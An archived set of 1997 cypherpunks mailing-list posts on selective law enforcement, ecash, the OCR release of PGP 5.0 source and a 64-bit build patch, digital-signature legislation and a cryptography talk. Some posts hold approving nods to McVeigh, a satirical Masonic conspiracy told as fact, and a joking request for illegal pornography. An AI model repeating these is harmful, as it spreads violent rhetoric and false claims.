Content-Type: text/plain



At 10:56 PM -0700 8/10/97, TruthMailer wrote:

>  The government claimed they only wanted to ban the *bad* guns,
>but as Tim May pointed out, now it is theoretically illegal in
>some places for a citizen to carry a paring knife home from the
>store. Of course, in practice, these laws will only be used
>against *bad* people. Mary Tyler Moore has nothing to worry about.

Cops here in California are quite open about the law being a law they can
use to bust or harass undesirables. Like an increasing number of laws, the
law is applied capriciously and politically.

A related example is the arrest, ticketing, jailing, etc. of so-called
"homeless activists" for the crime of distributing soup and other forms of
food in Santa Cruz (and San Francisco, other cities, etc.)

The apparent crime is not that they were trespassing or blocking traffic,
or somesuch, but that they were "preparing and distributing food without a
license."

I attended a City Council meeting and spoke up on this point. I asked that
if the "Food Not Bombs" folks were being arrested for distributing food
without a license, that the cops also make arrests of the various groups at
church picnics, Boy Scout outings, family picnics, etc., who also prepare
and distribute food to groups. (Cooked under the same conditions, and
distributed the same way.)

The Council showed no reaction to my point, not that I expected to have any
effect (dozens of others made similar points, that this was selective
enforcement). The cops were told to keep busting people for distributing
food, but no orders were given against church and social groups.

"Some food distributors are more equal than others." Selective enforcement
is the real power of the State.

And they wonder why McVeigh said "Enough!!."

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike <Michael.Johnson@mejl.com>
Date: Mon, 11 Aug 1997 15:39:23 +0800
To: cypherpunks@toad.com
Subject: Getting ecash without an MTB account
Message-ID: <3.0.3.32.19970811092630.009d5950@localhost>
MIME-Version: 1.0
Content-Type: text/plain




Suppose I want to give ecash to somebody who don't have an account with
Mark Twain Bank, and I want the receiver of the coins to know that the
coins are genuine.

I would have two accounts at MTB, one for savings and one for transactions.
I want to give away a million bucks, so I deposit that amount in the
transactions account. Then I give the account password to the receiver, he
withdraws the money, and I change the password so he can't get any more
money from me. I trust the receiver not to change my password, but if he
does change it, then I can simply ask MTB to change it back, explaining
that I lost my password.

Would this work?


Mike.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Mon, 11 Aug 1997 22:04:21 +0800
To: cypherpunks@toad.com (Cypherpunks Mailing List)
Subject: Can't touch this, ugly Americans! (PGP License file)
Message-ID: <199708111344.JAA24033@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain



First off, congratulations and thanks to Stale and everyone else for
scanning in the source to PGP5.0i (http://www.ifi.uio.no/pgp/)

However, theres an ugly problem with the license.
(http://www.ifi.uio.no/pgp/pgp50i-license.txt)

In Section 1.c.(d), permission is given to port PGP to other
platforms.  However, permission to distribute those ports is
explicitly denied.

Could the license be modified to allow people who port the software to
redisctribute ports?  There is enough FUD about using PGP without PGP,
Inc contributing to that by overly tight licensing.

Adam



-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 12 Aug 1997 00:58:01 +0800
To: cypherpunks@toad.com
Subject: Re: Masons and Fnords
In-Reply-To: <199708111308.GAA18202@toad.com>
Message-ID: <v03102805b014eefcff21@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:16 AM -0700 8/11/97, Peter Trei wrote:

>Nope. While many of the Founders were Masons, by no means all were.
>In particular, there is no evidence that Jefferson was ever a
>member.

Jefferson laid the foundation stones of the University of Virginia by
strict Masonic principles. At this point he was 34th Degree, and hence all
records were moved to the inner sanctorium, accessible only to Masonic
historians.

>Aside from a nit (it's not a temple, but rather a memorial: "The
>George Washington Masonic National Memorial" to be exact), this is
>largely correct. It's a really grand, funky piece of architecture,
>and open to the public, with free guided tours. Over 300 feet tall,
>and on the highest point in Alexandria, it has a *very* impressive
>view from the top, taking in all of DC and miles around.

We referred to it by the name others used: the Masonic Temple. (When I was
growing up, in the 50s and 60s.). My hunch is that "Masonic National
Memorial" came about when legal experts advised the National Park Service
that "temple" may not be used in the actual name of any park.

Possibly the Papist President did this, to diminish the role of the Masons.
All part of the 6,000 year history of the Battle. Oswald was a Mason, of
course.

>Those in the Silicon Valley area might also want to visit the
>Rosicrucian Museum in San Jose, a similarly funky building,
>belonging to an unrelated group.

Yes, I was transferred from the Alexandria Chapter, Knights Templars, to
the San Jose Chapter, and instructed to find a job which would allow me to
live in close proximity to the Sepulchre of the Rosy Cross. This is why I
had to work for Intel, located a few thousand cubits away (several miles,
for you heathens). My job there was arranged by Robert Noyce and Gordon
Moore, both Masons of course.

Praise be to Hiram!

--Tim May, OTE, RC, KT


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Mon, 11 Aug 1997 22:17:40 +0800
To: adam@homeport.org (Adam Shostack)
Subject: Ok, maybe we can touch this. :)
In-Reply-To: <199708111344.JAA24033@homeport.org>
Message-ID: <199708111359.JAA24148@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain



Sorry about the subject; I had misread the license file originally,
thought it said PGP wouldn't take ports from folks in the US; what is
says is that if you're outside the US, you have to assert that you got
no help from PGP employees.

Anyone got a BSDI port working? (I'm hitting errors in lib/pgp/keydb)

Adam


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ariel Glenn <ariel@watsun.cc.columbia.edu>
Date: Mon, 11 Aug 1997 22:44:48 +0800
To: Michael Paul Johnson <mpj@ebible.org>
Subject: Re: North American Crypto Archive status
Message-ID: <CMM.0.90.4.871310144.ariel@stealth.cc.columbia.edu>
MIME-Version: 1.0
Content-Type: text/plain



Okay, I have a list of files which I couldn't get off the 
North American Crypto Archive site before
it closed, and couldn't find anywhere else; see 
http://www.columbia.edu/~ariel/news/mpj-missing.html
Get out all your old floppies and see if you or your friends 
or even your enemies downloaded any of these.
I've listed the original file names and the byte counts; I'd like to
get the original files all in place before worring about
newer/different versions of them.

Ariel Glenn / AcIS R&D / Columbia University
ariel@columbia.edu
blah blah blah blah...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Grant <mark@unicorn.com>
Date: Mon, 11 Aug 1997 18:57:31 +0800
To: cypherpunks@toad.com
Subject: Comments on PGP5.0 OCR (was Re: fyi, pgp source now available , internationally)
Message-ID: <Pine.LNX.3.91.970811105552.3203A-100000@cowboy.dev.madge.com>
MIME-Version: 1.0
Content-Type: text/plain




Charlie Root (root@cypherpunks.campsite.hip.nl) wrote:
>http://cypherpunks.campsite.hip97.nl/pgp/
>and
>http://www.pgpi.com/

(The former no longer seems to work, presumably because the machine is
packed up and on its way home.)

I just wanted to make a few comments on the proofreading, in case anyone
feels like releasing software in a similar manner in future:

The original printed and OCR-ed source gave a single checksum for each
page, with four bits per line. It also ignored whitespace except in
strings and comments. This meant that people could rapidly process the
majority of the code to produce something which wasn't terribly pretty but
functioned correctly. However, because there were only four bits per line
an incorrect line could pass the checksum; this would still be detected
because the checksums were chained, but it could mean that when an error
was detected you had to check several lines to find the invalid one. 

Presumably because of this the OCR-ed pages at HIP included a per-line
checksum. This was good... but... it also checksummed the whitespace. 
This wasn't a problem in theory, because tabs were indicated by a special
character. However, most lines had both tabs *and* spaces and there was no
way to see where the spaces were because they were overrriden by the tab
(e.g. "mov<sp><tab>ax,23<sp><sp><tab><sp><tab>; Stuff"). As a consequence
the proofreading went very slowly until some valiant folks (who may or may
not wish to be identified, so I won't) worked overnight to put together a
program to brute-force the checksum by trying all possible combinations of
tabs and spaces until it found the right one. 

So for a future effort could we please have the per-line checksums but
ignore the whitespace unless it's important (e.g. comments and strings
again)? Or if you want to ensure that the whitespace is identical between
versions, please either strip out unneccesary spaces or use a special
character for them so we can see precisely where they are. If all we want
is functioning code, then it doesn't have to look pretty; we can feed it
through a code prettifier like indent when it's functionally correct. 

	Mark





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 12 Aug 1997 00:25:54 +0800
To: cypherpunks@toad.com
Subject: [Fwd: fwd: Digital Signature Amendment in US House Today]
Message-ID: <v03110736b014ddf6741b@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


MIME-Version: 1.0
Date:         Thu, 7 Aug 1997 14:03:23 -0400
Reply-To:     Digital Signature discussion <DIGSIG@VM.TEMPLE.EDU>
Sender:       Digital Signature discussion <DIGSIG@VM.TEMPLE.EDU>
From:         Dan Greenwood <dan@CIVICS.COM>
Subject:      [Fwd: fwd: Digital Signature Amendment in US House Today]
To:           DIGSIG@VM.TEMPLE.EDU

FYI

Received: from mailhub.state.ma.us (mailhub.state.ma.us [146.243.12.156]) by
 maildeliver0.tiac.net (8.8.0/8.8) with ESMTP id NAA19610 for <dan@civics.com>;
 Thu, 7 Aug 1997 13:51:57 -0400 (EDT)
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 13:57:05 -0400
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Date: Thu, 7 Aug 97 12:44:41 EDT
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X-Priority: 3 (Normal)
To: <digsig@lists.state.tx.us>
Cc: "Gutierrez-ANF, Louis" <Louis.Gutierrez@state.ma.us> (louis gutierrez)
From: "Greenwood-ITD, Dan" <Dan.Greenwood@state.ma.us> (dan greenwood)
Subject: fwd: Digital Signature Amendment in US House Today
MIME-Version: 1.0
Content-type: text/plain;
               charset=US-ASCII

Hello,

Below, please find a NIST legislative effort to set national PKI standards
- including CA and digital signature standards ("The Panel shall develop .
 .  standards to ensure consistency among jurisdictions that license
certification authorities").  To the credit of the drafters of this
amendment, they do seek some participation by state gov. and other
stockholders to inform the process.  Also to their credit, they are seeking
ways to develop national uniformity in this area generally.

Questions: why is this focused on the license of CAs and not on the more
desirable "accreditation" standards that must be developed?  Perhaps it is
for the good that accreditation of CAs remain primarily a private sector
activity (outside the scope of Federal government direct control and
regulation) - but this NIST language seems to assume multi-jurisdictional
license of CAs (what other requirements will the federal government seek to
impose through license - key escrow?  pricing? particular technological
implementations?  pre-conceived business models?)  What will be the market
impacts of such license requirements?

This raises some interesting questions about where to strike the optimal
balance between top-down federal government's national consistent standards
versus working with private sector leadership/self-governance organizations
to develop national standards (hence allowing more innovation,
responsiveness to change and (I believe) better standards for this very
dynamic and young area).  Can this be done through "license" - perhaps so.
Assuming we create the right license criteria - such as: "you are deemed to
be licensed if you have been accredited by XXX") - then we just need to
make sure that accreditation (or some level of accred) is minimally
adequate for the interests that would have been served by license.

For that matter, the question should be asked "licensed to do what?"  If
the federal government has a particular federal agency that needs to accept
outside certificates to authenticate a citizen or business, then I can see
them requiring that the issuing CA be licensed.  Beyond such a scenario,
why should the federal government require CAs to be licensed just to do
business?  If license is voluntary and not mandatory - what government
benefits or harms would follow from being licensed or not? Will export
control be used to force compliance with license requirements?

The federal government can lend a helpful hand in the process of designing
appropriate license criteria for federal programs, and that criteria could
be useful at the state gov. and private sector levels as well.  However, it
seems to me that it would be unwelcome and unwise at this point in time for
the federal government to arrogate to itself the power and jurisdiction to
regulate this industry in a complete way through license (it has been said
that the power to tax is the power to destroy - that goes double for the
power to license).  In the future, if there develops a demonstrable problem
with consistent CA practices evolved by market based solutions  (as
facilitated by accreditation), then I think a credible case could be made
at that time for the federal government to step in with some standards in
the interests of inter-state commerce.  At that time, any standards should
be narrowly tailored to actual market failures and specific non-uniformity
issues.  Until then, we should use the considerable resources envisioned by
the amendment (see below) to encourage private sector leadership and
innovation in this area.

Of course, through purchase power, the public sector has the right and the
obligation to apply pressure through aggregation of demand as a way to get
interoperable products.  Any such pressure should be exerted in a manner
that is consistent with current private sector electronic commerce
practices and needs.  It is relevant to point to the NASIRE CA
accreditation initiative in this regard, is an important effort to work
with the private sector to create voluntary standards for the use of
digital signature technology.

Regards,
Dan
-------------
Original Text
From: Adam White Scoville <adville@cdt.org>, on 7/28/97 5:56 PM:
To: ""Greenwood-ITD

Hello -
I'm glad we touched base at the NIST conference - I still would like to ask
you a couple questions on the pre-emption issue. But first, the point of
_this_ message is that I though you would be interested to know that the
Technology Subcommittee of the House Committee on Science added about an
hour ago this amendment (among others) to HR 1903, the NIST "Computer
Security Enhancement Act of 1997."


(a) National Policy Panel - The Under Secretary of Commerce for Technology
shall establish a National Policy Panel for Digital Signatures, composed of
nongovernment and government technical and legal experts on the
implementation of digital signature technologies, individuals from
companies offerring digital signature products and services, State
officials, including officials from States which have enacted statutes
establishing digital signature infrastructures, and representative
individuals from the interested public.
(b) Responsibilities - The Panel shall serve as a forum for exploring all
relevant factors associated with the development of a national digital
signature infrastructure based on uniform standards that will enable the
widespread availability and use of digital signature systems. The Panel
shall develop -
(1) Model practices and procedures for certification authorities to ensure
accuracy, reliability, and security of operations associated with issuing
and managing certificates;
(2) standards to ensure consistency among jurisdictions that license
certification authorities; and
(3) audit standards for certification authorities.


Adam White Scoville
Center for Democracy & Technology


Adam White Scoville
adville@cdt.org
adam.scoville@bc.edu

If you wish to send me a secure message, encrypt it with PGP, using my
public key available at <http://www2.bc.edu/~scovilad/pgp.txt>. For more
information about PGP and encryption, visit <http://www.pgp.com>. A free
version of PGP (for  MacOS and Windows) is available at
<http://web.mit.edu/network/pgp.html>. A free version of the popular Eudora
mail program (also for both MacOS and Windows) which incorporates PGP is
available at <http://www.eudora.com/export>.

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David D.W. Downey" <admin@CyberSpaceTechnologies.com>
Date: Mon, 11 Aug 1997 20:11:52 +0800
To: TruthMailer <tm@dev.null>
Subject: Re: Dr. McVeigh / Re: A peculiar notion
In-Reply-To: <199708110653.AAA22003@wombat.sk.sympatico.ca>
Message-ID: <33EF34D9.40F1F8A7@cyberspacetechnologies.com>
MIME-Version: 1.0
Content-Type: text/plain



Dman, can't someone just tell folks they liked what they read in
whatever manner they choose? Starting to think that no one can do
anything right.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Tue, 12 Aug 1997 00:20:52 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Comments on PGP5.0 OCR (was Re: fyi, pgp source now available , internationally)
In-Reply-To: <199708111432.PAA00907@server.test.net>
Message-ID: <Pine.GSO.3.95.970811120026.29827A-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 11 Aug 1997, Adam Back wrote:

> How about a book full of 2D barcodes?  
> 
> As a plus perhaps the book would be more compact, as you could gzip it
> first -- the full source tree looks to be over a foot of doublesided
> paper!

Well, remember the reason we did this:  to get the code out of the US in a
way that the government couldn't screw with at all.  Readable text is
clearly a publication, and thus unrestrictable.  There is a chance,
however small, that gzip (and tarring I'd assume) the tree and then
putting it in as text (or bar-coding it) would cloud the issue some.
(Isn't part of this to do with human-readable as opposed to machien
readable?)

Besides, this way it's easier to spot the errors simply by comparing, with
bar-codes and such you'd never ever be able to look at the errors yourself
and find them.

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nospam-seesignature@ceddec.com
Date: Tue, 12 Aug 1997 00:15:42 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Comments on PGP5.0 OCR (was Re: fyi, pgp source now available , internationally)
In-Reply-To: <199708111432.PAA00907@server.test.net>
Message-ID: <97Aug11.120358edt.32259@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 11 Aug 1997, Adam Back wrote:

> Mark Grant <mark@unicorn.com> writes:
> > 
> > I just wanted to make a few comments on the proofreading, in case anyone
> > feels like releasing software in a similar manner in future:
> > 
> > [...] the OCR-ed pages at HIP included a per-line
> > checksum. This was good... but... it also checksummed the whitespace. 
> > This wasn't a problem in theory, because tabs were indicated by a special
> > character. However, most lines had both tabs *and* spaces and there was no
> > way to see where the spaces were because they were overrriden by the tab
> > (e.g. "mov<sp><tab>ax,23<sp><sp><tab><sp><tab>; Stuff"). 
> 
> How about a book full of 2D barcodes?  

Or just put everything through GNU indent and publish the .indent.pro
file, so that after whatever is scanned in, all the .c and .h files will
automagically be fixed.

--- reply to tzeruch - at - ceddec - dot - com ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 12 Aug 1997 01:04:10 +0800
To: cypherpunks@toad.com
Subject: DCSB: Elliptic Curve Cryptography and Digital Commerce
Message-ID: <v0311073eb014ef0475da@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


X-Sender: rah@mail.shipwright.com
Mime-Version: 1.0
Date: Mon, 11 Aug 1997 11:13:20 -0400
To: dcsb@ai.mit.edu, dcsb-announce@ai.mit.edu
From: Robert Hettinga <rah@shipwright.com>
Subject: DCSB: Elliptic Curve Cryptography and Digital Commerce
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: Robert Hettinga <rah@shipwright.com>

-----BEGIN PGP SIGNED MESSAGE-----

<My mistake. The correct payment deadline for this event is August 30, as
noted below... --RAH>

                 The Digital Commerce Society of Boston

                              Presents
                         Dr. Christof Paar
                  Cryptography and Data Security Group,
                   Worcester Polytechnic Institute

             Elliptic Curve Cryptography and Digital Commerce



                        Tuesday, September 2, 1997
                               12 - 2 PM
                   The Downtown Harvard Club of Boston
                     One Federal Street, Boston, MA



Elliptic Curve (EC) public-key cryptosystems have matured from an area of
mainly theoretical interest to a highly practical security tool. EC are a
general-purpose public-key scheme which can provide tasks such as digital
signature, key establishment, and encryption. EC are extremely attractive
because the required operand length is dramatically reduced compared to
RSA and DSA-type algorithms: The security of an RSA system with 1024 bits
corresponds to the security of an EC system with only 160 bits. This can
result in considerably faster processing times, e.g., for digital
signature verification, and shorter certificates. One application area of
special interest are smart cards.

This talk will give a brief, non-technical introduction to EC system.
Current security estimations relatively to RSA will be provided. We will
talk about performance and the adoption of EC systems in standard bodies.


Christof Paar leads the Cryptography and Data Security group in the ECE
department of Worcester Polytechnic Institute.  Dr. Paar's research
interests include security issues in wireless and ATM networks, smart
cards, efficient implementation of elliptic and hyperelliptic curve
public-key algorithms, and hardware implementation of cryptosystems.  Dr.
Christof Paar received a BSEE degree from the Technical College of
Cologne, Germany.  He obtained an MSEE degree from the University of
Siegen, Germany, and did graduate research at Michigan Technological
University.  From 1991-1994 he worked as research fellow at the Institute
for Experimental Mathematics in Essen, Germany, from where he received a
Ph.D. in Electrical Engineering.  In 1993 and '94 he spent time as a
visiting researcher at the University of Massachusetts at Amherst.


This meeting of the Digital Commerce Society of Boston will be held on
Tuesday, September 2, 1997, from 12pm - 2pm at the Downtown Branch of the
Harvard Club of Boston, on One Federal Street. The price for lunch is
$30.00. This price includes lunch, room rental, various A/V hardware, and
the speaker's lunch. ;-).  The Harvard Club *does* have dress code: jackets
and ties for men (and no sneakers or jeans), and "appropriate business
attire" (whatever that means), for women.  Fair warning: since we purchase
these luncheons in advance, we will be unable to refund the price of your
lunch if the Club finds you in violation of the dress code.

We will attempt to record this meeting and put it on the web in RealAudio
format at some future date

We need to receive a company check, or money order, (or, if we *really*
know you, a personal check) payable to "The Harvard Club of Boston", by
Saturday, August 30, or you won't be on the list for lunch.  Checks
payable to anyone else but The Harvard Club of Boston will have to be
sent back.

Checks should be sent to Robert Hettinga, 44 Farquhar Street, Boston,
Massachusetts, 02131. Again, they *must* be made payable to "The Harvard
Club of Boston", in the amount of $30.00.

If anyone has questions, or has a problem with these arrangements (We've
had to work with glacial A/P departments more than once, for instance),
please let us know via e-mail, and we'll see if we can work something
out.

Upcoming speakers for DCSB are:

October   Peter Cassidy        Military Fiat and Digital Commerce
November  Carl Ellison         Identity and Certification for Electronic
                                Commerce

We are actively searching for future speakers.  If you are in Boston on
the first Tuesday of the month, and you would like to make a
presentation to the Society, please send e-mail to the DCSB Program
Commmittee, care of Robert Hettinga, <mailto: rah@shipwright.com> .

For more information about the Digital Commerce Society of Boston, send
"info dcsb" in the body of a message to <mailto: majordomo@ai.mit.edu> .
If you want to subscribe to the DCSB e-mail list, send "subscribe dcsb" in
the body of a message to <mailto: majordomo@ai.mit.edu> .

We look forward to seeing you there!

Cheers,
Robert Hettinga
Moderator,
The Digital Commerce Society of Boston


- -----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/


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Version: PGP for Personal Privacy 5.0
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=kKJN
-----END PGP SIGNATURE-----

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To unsubscribe from this list, send a letter to: Majordomo@ai.mit.edu
In the body of the message, write:  unsubscribe dcsb-announce
Or, to subscribe,           write:  subscribe dcsb-announce
If you have questions, write to me at Owner-DCSB@ai.mit.edu

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 12 Aug 1997 03:45:07 +0800
To: "A. Padgett Peterson P.E. Information Security" <PADGETT@hobbes.orl.lmco.com>
Subject: Re: Feds Seek PKI Bids
In-Reply-To: <970811135334.2020461b@hobbes.orl.lmco.com>
Message-ID: <3.0.2.32.19970811123259.03057908@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:53 PM 8/11/97 -0400, A. Padgett Peterson P.E. Information Security
wrote:
>>USG published a solicitation today in the CBD for a
>>Public Key Infrastructure which outlines the system
>>requirements:
>>   http://jya.com/pkicbd.htm
>
>Interesting from what is *not* there - any mention of key recovery/key 
>escow. Looks like they may finally understand what a Certificate Authority
>is (not holding breath). Do not think much of appelations (Classic & Gold)
>and suspect they may need more than two but sounds like a good start.

I'm not sure that it's not there; I'd have to read it three or four more times
to be sure, but I got the impression it was hidden in the fine print.  
The interesting phrase, in the description of "Classic" Certs, is
	"Generation and storage of an asymmetric key pair 
	can be accomplished via software." 
and for "Gold" Certs,
	"Generation and storage of asymmetric key pairs must be performed 
	and protected in hardware."
which sounds like it's implying that the CA will generate the 
asymmetric key pairs rather than the user.  I'm sure the interesting
details are hidden in the parts that weren't in the CBD announcement,
which is normally just an abstract of a procurement.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Mon, 11 Aug 1997 21:04:58 +0800
To: cypherpunks@Algebra.COM
Subject: Re: The _Really_ Big Lie!
In-Reply-To: <33EB8A5E.7661@sk.sympatico.ca>
Message-ID: <Pine.LNX.3.91.970811131220.458D-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> Problem: Little Johnny wants to visit Paul Bradley's "Jesus Loves the
>   Little Children From Behind" web site.
> Solution: Don't let him do that.

What an excellent idea for a new website!!! I`ll get working on the 
forged pictures today, does anyone have any highly illegal pornographic 
pictures involving men in long beards and robes (ie. looking like the 
stereotyped jesus image).

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "A. Padgett Peterson P.E. Information Security" <PADGETT@hobbes.orl.lmco.com>
Date: Tue, 12 Aug 1997 02:02:33 +0800
To: cypherpunks@cyberpass.net
Subject: Feds Seek PKI Bids
Message-ID: <970811135334.2020461b@hobbes.orl.lmco.com>
MIME-Version: 1.0
Content-Type: text/plain




>USG published a solicitation today in the CBD for a
>Public Key Infrastructure which outlines the system
>requirements:

>   http://jya.com/pkicbd.htm


Interesting from what is *not* there - any mention of key recovery/key 
escow. Looks like they may finally understand what a Certificate Authority
is (not holding breath). Do not think much of appelations (Classic & Gold)
and suspect they may need more than two but sounds like a good start.

					Warmly,
						Padgett





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Wed, 13 Aug 1997 03:15:04 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Subsect?
In-Reply-To: <v03102801b0124d7beda0@[207.167.93.63]>
Message-ID: <Pine.LNX.3.91.970811141832.1598B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> If your parents really drilled this "sub-sect" business into your head,
> maybe you ought to ask them to lighten up on the drill, or use a different
> bit, or something.

At least they appear to have hit the right spot for a frontal lobotomy.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Blossom <eb@comsec.com>
Date: Tue, 12 Aug 1997 08:38:37 +0800
To: trei@process.com
Subject: Re: Masons and Fnords
In-Reply-To: <199708111308.GAA18202@toad.com>
Message-ID: <199708112129.OAA08148@comsec.com>
MIME-Version: 1.0
Content-Type: text/plain



> Those in the Silicon Valley area might also want to visit the 
> Rosicrucian Museum in San Jose, a similarly funky building,
> belonging to an unrelated group.

They've got lots of desicated folks in display cases for you to look
at too!  Definitely worth seeing.

Eric





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 12 Aug 1997 05:07:56 +0800
To: tzeruch@ceddec.com
Subject: Re: Can't touch this, ugly Americans! (PGP License file)
In-Reply-To: <97Aug11.145941edt.32258@brickwall.ceddec.com>
Message-ID: <199708111937.OAA05635@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <97Aug11.145941edt.32258@brickwall.ceddec.com>, on 08/11/97 
   at 03:00 PM, nospam-seesignature@ceddec.com said:

>On Mon, 11 Aug 1997, Adam Shostack wrote:

>> First off, congratulations and thanks to Stale and everyone else for
>> scanning in the source to PGP5.0i (http://www.ifi.uio.no/pgp/)
>> 
>> However, theres an ugly problem with the license.
>> (http://www.ifi.uio.no/pgp/pgp50i-license.txt)
>> 
>> In Section 1.c.(d), permission is given to port PGP to other
>> platforms.  However, permission to distribute those ports is
>> explicitly denied.
>> 
>> Could the license be modified to allow people who port the software to
>> redisctribute ports?  There is enough FUD about using PGP without PGP,
>> Inc contributing to that by overly tight licensing.
>> 
>> Adam

>Or what do you do about bugs?  It mentions corrections, but not who to
>send them to.

>On DEC Alpha/axp under Linux, include/pgpUsuals.h has a test for a big
>ULONG_MAX that defines HAVE64 as 1 on 64 bit machines like the alpha

>But the very next test has #ifndef HAVE64 where there is a typedef for
>word64, which won't happen.  But if HAVE64 is 1, in pgpMD5.c it will
>really want word64 defined or it will bomb. 

>Something is wrong, but if I copy the typedef, it seems to get further
>(compiling as we speak - the old UDBs aren't the fastest alphas).

>Now, where should I send this information or the patch?

Here is a patch I received for the pgpUsuals.h file:


There is a bug in src/lib/pgp/include/pgpUsuals.h on 64-bit machines. The
appended patch seems to cure the problem --- the word64 type needs to be
defined, even when the machine has a native 64-bit type.


*** src/lib/pgp/include/pgpUsuals.h~    Sat Aug  9 22:44:58 1997 ---
src/lib/pgp/include/pgpUsuals.h     Mon Aug 11 11:03:38 1997
***************
*** 52,57 ****
- --- 52,58 ----
  #if ULONG_MAX == 0xfffffffffffffffful
  typedef ulong bnword64;
  #define BNWORD64 bnword64
+ typedef ulong word64;
  #define HAVE64 1
  #endif
  #endif



- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
